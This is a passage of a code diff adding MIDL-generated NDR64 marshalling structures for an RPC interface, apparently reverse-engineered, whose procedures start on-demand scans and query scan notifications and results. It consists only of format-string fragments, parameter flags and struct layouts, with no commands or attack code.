(NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag189 +}; + +static const __midl_frag186_t __midl_frag186 = +{ +/* Proc8_ServerMpOnDemandQueryScanResult */ + { + /* Proc8_ServerMpOnDemandQueryScanResult */ /* procedure Proc8_ServerMpOnDemandQueryScanResult */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag189, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag179_t __midl_frag179 = +{ +/* Proc7_ServerMpOnDemandQueryNotification */ + { + /* Proc7_ServerMpOnDemandQueryNotification */ /* procedure Proc7_ServerMpOnDemandQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag171_t __midl_frag171 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag170_t __midl_frag170 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag171 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag167_t __midl_frag167 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag166_t __midl_frag166 = +{ +/* *Struct_476_t */ + { + /* *Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag167 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag170 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag73 + } +}; + +static const __midl_frag165_t __midl_frag165 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag166 +}; + +static const __midl_frag160_t __midl_frag160 = +{ +/* Proc6_ServerMpOnDemandStartScan */ + { + /* Proc6_ServerMpOnDemandStartScan */ /* procedure Proc6_ServerMpOnDemandStartScan */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag165, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag36, + { + /* arg_7 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag1288, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag156_t __midl_frag156 = +{ +/* */ + { + /* *Struct_916_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag148 + } +}; + +static const __midl_frag155_t __midl_frag155 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag154_t __midl_frag154 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag155 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag153_t __midl_frag153 = +{ +/* Struct_916_t */ + { + /* Struct_916_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag154 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag149_t __midl_frag149 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag148_t __midl_frag148 = +{ +/* *Struct_916_t */ + { + /* *Struct_916_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag149 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag154 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag153 + } +}; + +static const __midl_frag147_t __midl_frag147 = +{ +/* Struct_954_t */ + { + /* Struct_954_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_954_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag156, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag146_t __midl_frag146 = +{ +/* *Struct_954_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag147 +}; + +static const __midl_frag145_t __midl_frag145 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag141_t __midl_frag141 = +{ +/* Struct_884_t */ + { + /* Struct_884_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_884_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag145, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_884_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag140_t __midl_frag140 = +{ +/* *Struct_884_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag141 +}; + +static const __midl_frag139_t __midl_frag139 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag136_t __midl_frag136 = +{ +/* Struct_856_t */ + { + /* Struct_856_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_856_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag139, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_856_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag135_t __midl_frag135 = +{ +/* *Struct_856_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag136 +}; + +static const __midl_frag134_t __midl_frag134 = +{ +/* Struct_840_t */ + { + /* Struct_840_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_840_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag133_t __midl_frag133 = +{ +/* *Struct_840_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag134 +}; + +static const __midl_frag131_t __midl_frag131 = +{ +/* Struct_820_t */ + { + /* Struct_820_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_820_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag130_t __midl_frag130 = +{ +/* *Struct_820_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag131 +}; + +static const __midl_frag127_t __midl_frag127 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag125_t __midl_frag125 = +{ +/* Struct_800_t */ + { + /* Struct_800_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_800_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag127, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct 